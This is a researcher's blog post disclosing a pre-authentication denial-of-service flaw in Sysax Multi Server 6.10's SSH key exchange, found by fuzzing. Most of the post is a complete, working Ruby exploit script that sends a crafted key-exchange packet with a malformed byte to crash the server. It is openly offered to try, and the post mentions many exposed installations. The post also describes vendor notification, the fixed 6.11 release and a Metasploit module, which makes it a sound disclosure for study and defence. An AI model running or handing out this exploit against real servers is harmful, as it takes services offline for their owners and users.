I was recently fuzzing a bunch of SSH servers, hoping to find some remote code execution in a non-mainstream server. I ended up finding no code execution in the several that I tried, but I did find one pre-auth denial of service in Syax Multi Server 6.10.

Try this at home!

The vulnerable version can be downloaded here for anyone that would like to duplicate the DoS conditions.

Understanding the Key Exchange

I found that during the key exchange, where the SSH client and SSH server negotiate which ciphers to use, if you messed up just a single specific byte, the server would crash. I started reading through the RFC for SSH keyexchange, and found the key exchange to be mostly ASCII.

I started playing with the byte that caused the crash, and it seemed that it was some sort of control character, or separator. I’m still unsure. However, changing it would cause a crash every time.

I wasn’t able to figure out any way to get remote code execution, although someone smarter than me, may be able to do it. For now, I’ll settle with a DoS exploit.

The exploit

#!/usr/bin/env ruby
# Sysax Multi Server 6.10 SSH DoS
# Matt "hostess" Andreko < mandreko [at] accuvant.com >
# http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html

require 'socket'

unless ARGV.length == 2
  puts "Usage: ruby #{$0} [host] [port]\n"
  exit
end

packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
  0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
  0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,
  0x00, 0x7e, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65,
  0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e,
  0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65,
  0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x2d,
  0x73, 0x68, 0x61, 0x32, 0x35, 0x36, 0x2c, 0x64,
  0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65,
  0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72,
  0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68,
  0x61, 0x6e, 0x67, 0x65, 0x2d, 0x73, 0x68, 0x61,
  0x31, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65,
  0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e,
  0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x31, 0x34,
  0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x64, 0x69,
  0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c,
  0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f,
  0x75, 0x70, 0x31, 0x2d, 0x73, 0x68, 0x61, 0x31,
  0x00, 0x00, 0x00, 0x0f, 0x73, 0x73, 0x68, 0x2d,
  0x72, 0x73, 0x61, 0x2c, 0x73, 0x73, 0x68, 0x2d,
  0x64, 0x73, 0x73, 0x00, 0x00, 0x00, 0x9d, 0x61,
  0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63, 0x62,
  0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d, 0x63,
  0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77, 0x66,
  0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63, 0x2c,
  0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38, 0x2d,
  0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63, 0x66,
  0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c, 0x61,
  0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32, 0x35,
  0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75,
  0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39, 0x32,
  0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65, 0x73,
  0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63, 0x2c,
  0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65, 0x6c,
  0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79, 0x73,
  0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69, 0x75,
  0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73, 0x31,
  0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c, 0x61,
  0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63, 0x74,
  0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35, 0x36,
  0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00, 0x9d,
  0x61, 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63,
  0x62, 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d,
  0x63, 0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77,
  0x66, 0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63,
  0x2c, 0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38,
  0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63,
  0x66, 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c,
  0x61, 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32,
  0x35, 0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f,
  0x75, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39,
  0x32, 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65,
  0x73, 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63,
  0x2c, 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65,
  0x6c, 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79,
  0x73, 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69,
  0x75, 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73,
  0x31, 0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c,
  0x61, 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63,
  0x74, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35,
  0x36, 0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00,
  0x69, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64,
  0x35, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73,
  0x68, 0x61, 0x31, 0x2c, 0x75, 0x6d, 0x61, 0x63,
  0x2d, 0x36, 0x34, 0x40, 0x6f, 0x70, 0x65, 0x6e,
  0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c,
  0x68, 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70,
  0x65, 0x6d, 0x64, 0x31, 0x36, 0x30, 0x2c, 0x68,
  0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65,
  0x6d, 0x64, 0x31, 0x36, 0x30, 0x40, 0x6f, 0x70,
  0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
  0x6d, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73,
  0x68, 0x61, 0x31, 0x2d, 0x39, 0x36, 0x2c, 0x68,
  0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2d,
  0x39, 0x36, 0x00, 0x00, 0x00, 0x69, 0x68, 0x6d,
  0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2c, 0x68,
  0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31,
  0x2c, 0x75, 0x6d, 0x61, 0x63, 0x2d, 0x36, 0x34,
  0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68,
  0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, 0x6d, 0x61,
  0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64,
  0x31, 0x36, 0x30, 0x2c, 0x68, 0x6d, 0x61, 0x63,
  0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, 0x31,
  0x36, 0x30, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73,
  0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68,
  0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31,
  0x2d, 0x39, 0x36, 0x2c, 0x68, 0x6d, 0x61, 0x63,
  0x2d, 0x6d, 0x64, 0x35, 0x2d, 0x39, 0x36, 0x00,
  #3rd byte in this next line causes crash
  0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
  0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
  0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62,
  0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,
  0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70,
  0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
  0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,
  0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")

host = ARGV[0]
port = ARGV[1]

sock = TCPSocket.open(host, port)

banner = sock.gets()
puts banner

sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n")
sock.puts(packet)
resp = sock.gets()

sock.close()

Remediation

I contacted the developers of Sysax Multi Server on March 18 2013 and April 6 2013. They were able to release a new version (6.11) which is no longer vulnerable to this bug. If you’re running Sysax Multi Server with SSH (off by default, but plenty of users on ShodanHQ), I would highly recommend updating to 6.11, available here.

Update:

It looks like the Metasploit module I wrote for this has been merged! You can view it here